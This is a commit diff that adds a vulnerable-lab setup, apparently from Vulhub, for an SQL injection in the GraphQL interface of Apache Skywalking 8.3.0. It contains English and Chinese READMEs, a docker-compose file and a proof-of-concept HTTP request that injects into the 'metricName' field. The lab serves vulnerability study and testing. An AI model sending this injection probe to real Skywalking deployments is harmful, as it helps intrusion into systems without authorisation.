first commit

skywalking/8.3.0-sqli/README.md

@@ -0,0 +1,70 @@
+# Apache Skywalking 8.3.0 SQL Injection Vulnerability
+
+[中文版本(Chinese version)](README.zh-cn.md)
+
+Application performance monitor tool for distributed systems, especially designed for microservices, cloud native and container-based (Docker, Kubernetes, Mesos) architectures.
+
+In GraphQL interfaces of Apache Skywalking 8.3.0 and previous, there is a H2 Database SQL injection vulnerability.
+
+Reference link:
+
+- https://mp.weixin.qq.com/s/hB-r523_4cM0jZMBOt6Vhw
+- https://github.com/apache/skywalking/commit/0bd81495965d801315dd7417bb17333ae0eccf3b#diff-ec87a1cdf66cdb37574d9eafd4d72d99ed94a38c4a8ff2aa9c7b8daeff502a2c
+
+## Vulnerability environment
+
+Execute the following command to start an Apache Skywalking 8.3.0:
+
+```
+docker compose up -d
+```
+
+After the environment is started, visit `http://your-ip:8080` to view the Skywalking page.
+
+## POC
+
+I use GraphiQL's desktop app to send the following GraphQL query:
+
+![](1.png)
+
+It can be seen that the SQL statement has raised error, and the value of the `metricName` parameter has been injected ​​after `from`.
+
+The HTTP request of this GraphQL query is:
+
+```
+POST /graphql HTTP/1.1
+Host: localhost:8080
+Accept-Encoding: gzip, deflate
+Accept: */*
+Accept-Language: en
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
+Connection: close
+Content-Type: application/json
+Content-Length: 336
+
+{
+    "query":"query queryLogs($condition: LogQueryCondition) {
+  queryLogs(condition: $condition) {
+    total
+    logs {
+      serviceId
+      serviceName
+      isError
+      content
+    }
+  }
+}
+",
+    "variables":{
+        "condition":{
+            "metricName":"sqli",
+            "state":"ALL",
+            "paging":{
+                "pageSize":10
+            }
+        }
+    }
+}
+```
+
+For more in-depth exploit, you can research by yourself, and welcome to submit PR to us.

skywalking/8.3.0-sqli/README.zh-cn.md

@@ -0,0 +1,68 @@
+# Apache Skywalking 8.3.0 SQL注入漏洞
+
+Apache Skywalking是一款针对分布式系统的应用程序性能监视工具，为微服务，云原生和基于容器（Docker，Kubernetes，Mesos）的体系结构而设计。
+
+在Apache Skywalking 8.3.0版本及以前的GraphQL接口中，存在一处H2 Database SQL注入漏洞。
+
+参考链接：
+
+- https://mp.weixin.qq.com/s/hB-r523_4cM0jZMBOt6Vhw
+- https://github.com/apache/skywalking/commit/0bd81495965d801315dd7417bb17333ae0eccf3b#diff-ec87a1cdf66cdb37574d9eafd4d72d99ed94a38c4a8ff2aa9c7b8daeff502a2c
+
+## 漏洞环境
+
+执行如下命令启动一个Apache Skywalking 8.3.0版本：
+
+```
+docker compose up -d
+```
+
+环境启动后，访问`http://your-ip:8080`即可查看Skywalking的页面。
+
+## 漏洞复现
+
+我们使用graphiql的桌面APP发送如下graphql查询：
+
+![](1.png)
+
+可见，SQL语句已经出错，`metricName`参数的值被拼接到`from`后面。
+
+这个请求的HTTP数据包为：
+
+```
+POST /graphql HTTP/1.1
+Host: localhost:8080
+Accept-Encoding: gzip, deflate
+Accept: */*
+Accept-Language: en
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
+Connection: close
+Content-Type: application/json
+Content-Length: 336
+
+{
+    "query":"query queryLogs($condition: LogQueryCondition) {
+  queryLogs(condition: $condition) {
+    total
+    logs {
+      serviceId
+      serviceName
+      isError
+      content
+    }
+  }
+}
+",
+    "variables":{
+        "condition":{
+            "metricName":"sqli",
+            "state":"ALL",
+            "paging":{
+                "pageSize":10
+            }
+        }
+    }
+}
+```
+
+更加深入的利用，大家可以自行研究，并欢迎将文档提交到Vulhub中。

skywalking/8.3.0-sqli/docker-compose.yml

@@ -0,0 +1,14 @@
+version: '3.5'
+services:
+  oap:
+    image: vulhub/skywalking:8.3.0
+    command: bash bin/oap-service.sh
+  web:
+    image: vulhub/skywalking:8.3.0
+    command: bash bin/web-server.sh
+    depends_on:
+      - oap
+    ports:
+      - 8080:8080
+    environment:
+      COLLECTOR_RIBBON_LISTOFSERVERS: oap:12800